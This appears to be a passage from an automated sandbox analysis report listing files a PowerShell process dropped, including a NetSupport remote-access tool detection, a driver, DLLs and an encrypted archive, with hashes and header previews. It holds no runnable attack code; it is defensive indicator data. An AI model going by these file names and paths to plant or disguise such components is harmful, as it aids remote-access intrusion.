SSDEEP:	24576:B3y7q7nXoXFNWxKdjbdq4iqMY0mfPB62rMkZ+vmcYnhSMXlrxJnjSR0b4:B3y7q7XoXFN/dbdq4iqMO6qMkZ+XYbx
MD5:	40238E2CBE06EBCCE9A5FD43F29CD894
SHA1:	DD6669597DB2E35B7AB822FB3FC3E22FCDA78CF3
SHA-256:	24BB59B5F14472866F7280D8091D8AC89F6C388B1B70E5A54EE89C3ED93DC58E
SHA-512:	DF9B2F9D4BA12FD5C5D86872E5D9A9D726A2406153A09F6F9743A537F87465504D79D99969AE65857F37E6E297E17E413F98E3B70C0D12B882F3BD6555C1CCF1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....g..........."...).h...H!..... .........................................!.......!...`... ..........................................v...P!.,............0................!............................. M..(....................U!.X............................text....f.......h..................`..`.data....B.......B...l..............@....rdata..._.......`..................@..@.pdata.......0......................@..@.xdata......0......................@..@.bss.....................................edata...v.......x..................@..@.idata..,....P!.......!.............@....CRT....X....p!......(!.............@....tls..........!......*!.............@....reloc........!.. ...,!.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\mirvfa\avcodec-53.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1100800
Entropy (8bit):	6.620410772323589
Encrypted:	false
SSDEEP:	24576:AvFsWsTZw0h9+Ed1c0IHtUqnm5AmeU4QATwj5H7liH3Yq:ANs9Fw+p1c0IHtUqsAmevTwtliH3Yq
MD5:	BBA1FE328CEA501FCCE1E5DF16276439
SHA1:	ED4AD3A8D6F0E3DD86ABB19BC18127F960EA2131
SHA-256:	F5522D2C936DE8D53F97A6EC439D8F8391CB50A0BC6008A399F9454C00929D35
SHA-512:	8F585D57BAA39D3E5E6B62EFEA53B6B3797319AE86C0C4373774D08E284A49C0BD005E200AE4FABC789470B3F100F98C8CE503FD4702F79DCBF4BE4AABC58A9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#...............................e......................... ............@... ................................................................`K...................................................................................text...............................`..`.data...............................@.`..rdata..............................@.0@.rodata.............................@.`@/4...... ...........................@.0..bss..................................`..edata.............................@.0@.idata...............P..............@.0..CRT.................`..............@.0..tls.... ............b..............@.0..reloc..`K.......L...d..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\mirvfa\avutil-51.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	124416
Entropy (8bit):	6.588986505188613
Encrypted:	false
SSDEEP:	3072:ifLOXurSBlfHfG2N1X5S4RvSCzdPV0VXkjf5dF:MElt3SsDdPVLjf5dF
MD5:	2A8B8A15A58EDF3B443083EC29894E54
SHA1:	B63A322D66472FBD2FB7723847AF0F995BF9BF84
SHA-256:	84E6875F1869B8CFD73525F0C04F1BF2CF0D0D08B1226F62CFD44FF14FE0345D
SHA-512:	6209DC4E3DDFA585EEA3CDB26FE1B731962BE4A0E39B561DE6D16451E48CFCF0459F474FAB54F97BABFF87B969365895737F57D6A22C26B57CB3447230F0AAED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#.....Z.......H...........p.....h.........................p......p.....@... .........................T....0...............................`...............................P.......................................................text....Y.......Z..................`.P`.data....<...p...>...^..............@.`./4......p...........................@.0..bss....@F............................`..edata..T...........................@.0@.idata.......0......................@.0..CRT.........@......................@.0..tls.... ....P......................@.0..reloc.......`......................@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\mirvfa\itvwd64.sys

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	73288
Entropy (8bit):	6.197446784194677
Encrypted:	false
SSDEEP:	768:YO93YaGUGtxzPVu9IDd421aliP6hcvF4q9p9T7tvXc1PFbCcbvxi0i7Cp0hbJ1xd:b0xzPVEIZ3oifshFbLRCJ1WPdbWZzaS
MD5:	8289A296482DEBAF4ED03545C999C5D8
SHA1:	33B02C70EE88BCE1E312EC5FEAE67DDB87BE5CD4
SHA-256:	38A82D788638814AB23363B607C6386B938EE404865F7D1E42C324B974911F2C
SHA-512:	186239897D31D8DDEB89E2E65C2ECBD53CB33FBA256E4802F56BED712C7D628B733D590BBA6DE7E47F665C0AE01A86126B421229ECB27048CD3B396A97BD3F67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y......A...A...A..\A...A..SA...A...A$..A..HA...A..NA...A..XA...A..RA...A..OA...A..JA...ARich...A................PE..d.....`..........".................@.......................................................................................................`P..x....`.......@..........H(...p......................................................................................text............................... ..h.rdata...;.......<..................@..H.data...0A..........................@....pdata.......@......................@..HINIT.........P...................... ....rsrc........`......................@..B.reloc..f....p......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\mirvfa\libstdc++-6.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2182144
Entropy (8bit):	6.62603375882745
Encrypted:	false
SSDEEP:	24576:B3y7q7nXoXFNWxKdjbdq4iqMY0mfPB62rMkZ+vmcYnhSMXlrxJnjSR0b4:B3y7q7XoXFN/dbdq4iqMO6qMkZ+XYbx
MD5:	40238E2CBE06EBCCE9A5FD43F29CD894
SHA1:	DD6669597DB2E35B7AB822FB3FC3E22FCDA78CF3
SHA-256:	24BB59B5F14472866F7280D8091D8AC89F6C388B1B70E5A54EE89C3ED93DC58E
SHA-512:	DF9B2F9D4BA12FD5C5D86872E5D9A9D726A2406153A09F6F9743A537F87465504D79D99969AE65857F37E6E297E17E413F98E3B70C0D12B882F3BD6555C1CCF1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....g..........."...).h...H!..... .........................................!.......!...`... ..........................................v...P!.,............0................!............................. M..(....................U!.X............................text....f.......h..................`..`.data....B.......B...l..............@....rdata..._.......`..................@..@.pdata.......0......................@..@.xdata......0......................@..@.bss.....................................edata...v.......x..................@..@.idata..,....P!.......!.............@....CRT....X....p!......(!.............@....tls..........!......*!.............@....reloc........!.. ...,!.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\msvcr100.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\nkakus\avcodec-53.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1100800
Entropy (8bit):	6.620410772323589
Encrypted:	false
SSDEEP:	24576:AvFsWsTZw0h9+Ed1c0IHtUqnm5AmeU4QATwj5H7liH3Yq:ANs9Fw+p1c0IHtUqsAmevTwtliH3Yq
MD5:	BBA1FE328CEA501FCCE1E5DF16276439
SHA1:	ED4AD3A8D6F0E3DD86ABB19BC18127F960EA2131
SHA-256:	F5522D2C936DE8D53F97A6EC439D8F8391CB50A0BC6008A399F9454C00929D35
SHA-512:	8F585D57BAA39D3E5E6B62EFEA53B6B3797319AE86C0C4373774D08E284A49C0BD005E200AE4FABC789470B3F100F98C8CE503FD4702F79DCBF4BE4AABC58A9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#...............................e......................... ............@... ................................................................`K...................................................................................text...............................`..`.data...............................@.`..rdata..............................@.0@.rodata.............................@.`@/4...... ...........................@.0..bss..................................`..edata.............................@.0@.idata...............P..............@.0..CRT.................`..............@.0..tls.... ............b..............@.0..reloc..`K.......L...d..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\nkakus\avutil-51.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	124416
Entropy (8bit):	6.588986505188613
Encrypted:	false
SSDEEP:	3072:ifLOXurSBlfHfG2N1X5S4RvSCzdPV0VXkjf5dF:MElt3SsDdPVLjf5dF
MD5:	2A8B8A15A58EDF3B443083EC29894E54
SHA1:	B63A322D66472FBD2FB7723847AF0F995BF9BF84
SHA-256:	84E6875F1869B8CFD73525F0C04F1BF2CF0D0D08B1226F62CFD44FF14FE0345D
SHA-512:	6209DC4E3DDFA585EEA3CDB26FE1B731962BE4A0E39B561DE6D16451E48CFCF0459F474FAB54F97BABFF87B969365895737F57D6A22C26B57CB3447230F0AAED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#.....Z.......H...........p.....h.........................p......p.....@... .........................T....0...............................`...............................P.......................................................text....Y.......Z..................`.P`.data....<...p...>...^..............@.`./4......p...........................@.0..bss....@F............................`..edata..T...........................@.0@.idata.......0......................@.0..CRT.........@......................@.0..tls.... ....P......................@.0..reloc.......`......................@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\nkakus\itvwd64.sys

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	73288
Entropy (8bit):	6.197446784194677
Encrypted:	false
SSDEEP:	768:YO93YaGUGtxzPVu9IDd421aliP6hcvF4q9p9T7tvXc1PFbCcbvxi0i7Cp0hbJ1xd:b0xzPVEIZ3oifshFbLRCJ1WPdbWZzaS
MD5:	8289A296482DEBAF4ED03545C999C5D8
SHA1:	33B02C70EE88BCE1E312EC5FEAE67DDB87BE5CD4
SHA-256:	38A82D788638814AB23363B607C6386B938EE404865F7D1E42C324B974911F2C
SHA-512:	186239897D31D8DDEB89E2E65C2ECBD53CB33FBA256E4802F56BED712C7D628B733D590BBA6DE7E47F665C0AE01A86126B421229ECB27048CD3B396A97BD3F67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y......A...A...A..\A...A..SA...A...A$..A..HA...A..NA...A..XA...A..RA...A..OA...A..JA...ARich...A................PE..d.....`..........".................@.......................................................................................................`P..x....`.......@..........H(...p......................................................................................text............................... ..h.rdata...;.......<..................@..H.data...0A..........................@....pdata.......@......................@..HINIT.........P...................... ....rsrc........`......................@..B.reloc..f....p......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\nkakus\libstdc++-6.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2182144
Entropy (8bit):	6.62603375882745
Encrypted:	false
SSDEEP:	24576:B3y7q7nXoXFNWxKdjbdq4iqMY0mfPB62rMkZ+vmcYnhSMXlrxJnjSR0b4:B3y7q7XoXFN/dbdq4iqMO6qMkZ+XYbx
MD5:	40238E2CBE06EBCCE9A5FD43F29CD894
SHA1:	DD6669597DB2E35B7AB822FB3FC3E22FCDA78CF3
SHA-256:	24BB59B5F14472866F7280D8091D8AC89F6C388B1B70E5A54EE89C3ED93DC58E
SHA-512:	DF9B2F9D4BA12FD5C5D86872E5D9A9D726A2406153A09F6F9743A537F87465504D79D99969AE65857F37E6E297E17E413F98E3B70C0D12B882F3BD6555C1CCF1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....g..........."...).h...H!..... .........................................!.......!...`... ..........................................v...P!.,............0................!............................. M..(....................U!.X............................text....f.......h..................`..`.data....B.......B...l..............@....rdata..._.......`..................@..@.pdata.......0......................@..@.xdata......0......................@..@.bss.....................................edata...v.......x..................@..@.idata..,....P!.......!.............@....CRT....X....p!......(!.............@....tls..........!......*!.............@....reloc........!.. ...,!.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\nskbfltr.inf

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Reputation:	low
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Roaming\Directory\pcicapi.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.737780491933496
Encrypted:	false
SSDEEP:	768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5:	DCDE2248D19C778A41AA165866DD52D0
SHA1:	7EC84BE84FE23F0B0093B647538737E1F19EBB03
SHA-256:	9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917
SHA-512:	C5D170D420F1AEB9BCD606A282AF6E8DA04AE45C83D07FAAACB73FF2E27F4188B09446CE508620124F6D9B447A40A23620CFB39B79F02B04BB9E513866352166
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\Directory\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\remcmdstub.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77280
Entropy (8bit):	6.793716898125355
Encrypted:	false
SSDEEP:	1536:SfafvTuNOwphKuyUHTqYXHhrXH4LLIywmoEee/wjHnee/ssjHai:kafLSpAFUzt0LLIywYehjHeyjH
MD5:	1768C9971CEA4CC10C7DD45A5F8F022A
SHA1:	3D199BEE412CBAC0A6D2C4C9FD5509AD12A667E7
SHA-256:	6558B3307215C4B73FC96DC552213427FB9B28C0CB282FE6C38324F1E68E87D6
SHA-512:	F83BF23ABCE316CB1B91A0AC89C1A709A58A7EC49C8493140AD7DC7A629E8F75032057889E42BE3091CF351760348380634F660C47A3897F69E398849CA46780
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.V#...#...#...L...2...*.r.&...#...t...L.K.u...L.J.>...L.{."...L.\|."...Rich#...........PE..L...T.oe.....................J.......!............@.......................... ......Q.....@....................................<.......8................]..............................................@...............@............................text.............................. ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...8...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\tailji\avcodec-53.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1100800
Entropy (8bit):	6.620410772323589
Encrypted:	false
SSDEEP:	24576:AvFsWsTZw0h9+Ed1c0IHtUqnm5AmeU4QATwj5H7liH3Yq:ANs9Fw+p1c0IHtUqsAmevTwtliH3Yq
MD5:	BBA1FE328CEA501FCCE1E5DF16276439
SHA1:	ED4AD3A8D6F0E3DD86ABB19BC18127F960EA2131
SHA-256:	F5522D2C936DE8D53F97A6EC439D8F8391CB50A0BC6008A399F9454C00929D35
SHA-512:	8F585D57BAA39D3E5E6B62EFEA53B6B3797319AE86C0C4373774D08E284A49C0BD005E200AE4FABC789470B3F100F98C8CE503FD4702F79DCBF4BE4AABC58A9E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#...............................e......................... ............@... ................................................................`K...................................................................................text...............................`..`.data...............................@.`..rdata..............................@.0@.rodata.............................@.`@/4...... ...........................@.0..bss..................................`..edata.............................@.0@.idata...............P..............@.0..CRT.................`..............@.0..tls.... ............b..............@.0..reloc..`K.......L...d..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\tailji\avutil-51.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	124416
Entropy (8bit):	6.588986505188613
Encrypted:	false
SSDEEP:	3072:ifLOXurSBlfHfG2N1X5S4RvSCzdPV0VXkjf5dF:MElt3SsDdPVLjf5dF
MD5:	2A8B8A15A58EDF3B443083EC29894E54
SHA1:	B63A322D66472FBD2FB7723847AF0F995BF9BF84
SHA-256:	84E6875F1869B8CFD73525F0C04F1BF2CF0D0D08B1226F62CFD44FF14FE0345D
SHA-512:	6209DC4E3DDFA585EEA3CDB26FE1B731962BE4A0E39B561DE6D16451E48CFCF0459F474FAB54F97BABFF87B969365895737F57D6A22C26B57CB3447230F0AAED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.N...........#.....Z.......H...........p.....h.........................p......p.....@... .........................T....0...............................`...............................P.......................................................text....Y.......Z..................`.P`.data....<...p...>...^..............@.`./4......p...........................@.0..bss....@F............................`..edata..T...........................@.0@.idata.......0......................@.0..CRT.........@......................@.0..tls.... ....P......................@.0..reloc.......`......................@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\tailji\itvwd64.sys

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	73288
Entropy (8bit):	6.197446784194677
Encrypted:	false
SSDEEP:	768:YO93YaGUGtxzPVu9IDd421aliP6hcvF4q9p9T7tvXc1PFbCcbvxi0i7Cp0hbJ1xd:b0xzPVEIZ3oifshFbLRCJ1WPdbWZzaS
MD5:	8289A296482DEBAF4ED03545C999C5D8
SHA1:	33B02C70EE88BCE1E312EC5FEAE67DDB87BE5CD4
SHA-256:	38A82D788638814AB23363B607C6386B938EE404865F7D1E42C324B974911F2C
SHA-512:	186239897D31D8DDEB89E2E65C2ECBD53CB33FBA256E4802F56BED712C7D628B733D590BBA6DE7E47F665C0AE01A86126B421229ECB27048CD3B396A97BD3F67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y......A...A...A..\A...A..SA...A...A$..A..HA...A..NA...A..XA...A..RA...A..OA...A..JA...ARich...A................PE..d.....`..........".................@.......................................................................................................`P..x....`.......@..........H(...p......................................................................................text............................... ..h.rdata...;.......<..................@..H.data...0A..........................@....pdata.......@......................@..HINIT.........P...................... ....rsrc........`......................@..B.reloc..f....p......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Directory\tailji\libstdc++-6.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2182144
Entropy (8bit):	6.62603375882745
Encrypted:	false
SSDEEP:	24576:B3y7q7nXoXFNWxKdjbdq4iqMY0mfPB62rMkZ+vmcYnhSMXlrxJnjSR0b4:B3y7q7XoXFN/dbdq4iqMO6qMkZ+XYbx
MD5:	40238E2CBE06EBCCE9A5FD43F29CD894
SHA1:	DD6669597DB2E35B7AB822FB3FC3E22FCDA78CF3
SHA-256:	24BB59B5F14472866F7280D8091D8AC89F6C388B1B70E5A54EE89C3ED93DC58E
SHA-512:	DF9B2F9D4BA12FD5C5D86872E5D9A9D726A2406153A09F6F9743A537F87465504D79D99969AE65857F37E6E297E17E413F98E3B70C0D12B882F3BD6555C1CCF1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....g..........."...).h...H!..... .........................................!.......!...`... ..........................................v...P!.,............0................!............................. M..(....................U!.X............................text....f.......h..................`..`.data....B.......B...l..............@....rdata..._.......`..................@..@.pdata.......0......................@..@.xdata......0......................@..@.bss.....................................edata...v.......x..................@..@.idata..,....P!.......!.............@....CRT....X....p!......(!.............@....tls..........!......*!.............@....reloc........!.. ...,!.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Program.zip

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	10515846
Entropy (8bit):	7.995961103330536
Encrypted:	true
SSDEEP:	196608:Ur6GPDBgNsp3dfeDJ7DfYDJ73fRDJ7OfVDJ7EfUDJ7NfADJ7Q:Ur6e+NspkmTql8+
MD5:	4221BFE698DFE0ED9AAB3CC308121141
SHA1:	70DFDDE7A135D8EB63AA99CE6568CB3FC1A5D1A0
SHA-256:	79D1129FD311496A5C67D85B278F6FF7E6804DE7680719C02103E7E2775FA410
SHA-512:	A2DD642A821BC986323335DA828DEF8B957C2D3DB872CF6AB79525DFB02E761CB310A69F45E2A71E224C894F665113C75849400845495357B4AAEA3BEA95528A
Malicious:	true
Reputation:	low
Preview:	PK...........Z...IL...x.......HTCTL32.DLL..q\|...8.?..............`@.....A..]...j........`..l..GiKZT.PhK[Zi...0!4....J..hQ..j.. 1...>..KP[........{............;WIFI.L.?....I..K..w.....B_i[.W..1.\|...../....,..Y..G?z(.u.}Y.B?..GY.n-...Cs...O.....3.j...>..G.M.........Q.3.~@.c...}..a.W.+..=..s....G.....T..+..t.\...K.>...".>.3E.l.Z.Cm..A...._.J ...Bt...Q:.W.d=n........%..4].5A............5u.8..&&."...c..-...s'.. ,.).&K....`.=.{$.1..+..cc...?F.I...c.....E.d..1....>...2Kf.y......\|....+.@..~....&..........[.^..(.Rj.%%%.N..u\|....{.S..>...q..).k..3..6.........k...s$)...s.....yN{.=0N.lB.....k...'6.RVb..M).....0.}.Rw.p..NK....U../;...L.a.u..z.[....pGJ.g..0.6.......n...Yy.u..\|Y..j..^u.......0g{.......k....'..X.J?...`..8..?./w1+....rc.U.#...N+.....................{..R.&...3..c.....d .i..........\|u../...p...XM.6.8%.Mi63$.;.;di.p.u.1.g.....{.$~.i........t.jN....5VL...Y.arpB..Sx.).5B..k..a.%.ZS.....J....1........S.....i..3Gj......a.9.r?T.^Vd

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1880x930, components 3
Category:	dropped
Size (bytes):	968440
Entropy (8bit):	7.971353501577847
Encrypted:	false
SSDEEP:	24576:6og1FKRttDSGoNn0GYXGK3oSxdsoRs0Opc1MFuD/hhc:TDntBs0GYNoSxdzsdpc15o
MD5:	FC1BDDA5B05F5ACB7B8CBF4D52C87730
SHA1:	DC5A4D6BC648A10AB6058984CE5C6245DFB408B9
SHA-256:	23B23FA6A92AF2B855B1A5063388C7FD92B69FC35473B88E24C74A879EB6F328
SHA-512:	D9E4FC770A9E70D61B71BD7F4CA5C4FF89EF0C691624A99B99B38A72B9AB67A2AD1FF9D787B87E1D1397E39DD084B2851DAF7F52758613B8FD795D08BA6B8751
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:E995F7EF122611EDAA699CFBAFA00E12" xmpMM:InstanceID="xmp.iid:E995F7EE122611EDAA699CFBAFA00E12" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1566fe1e-28b8-2d44-b069-752eb151776b" stRef:documentID="adobe:docid:photoshop:1bad39ec-6673-5c40-b5d9-b5bff1ec4002"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1469
Entropy (8bit):	6.854132454758567
Encrypted:	false
SSDEEP:	24:tr1hQWwh82lYSKwVO3V8T3fyJ3VmzVxGakRyOdBjPrNxR43HJkEL2:fzvnLMEaeJ3QJx27jPrN/43HJxL2
MD5:	C191B4B3E1062C71A23C6B182529B5BD
SHA1:	16D4385F48BB6206933F7EC7280838C1F2B1C2CF
SHA-256:	461F4919576E69E92D0404B0A565EBD9A1647A2CF4BAF7F97330242B5F1A6234
SHA-512:	001E5A4A261952AC09A0FA094A66928D9F891445C742616B02788C7BA87A8FF0C15058B52DBCD8EA9231A1F1820D167612BECF6464FC8E5B79C97C0D1DADE421
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/20230911094506.png
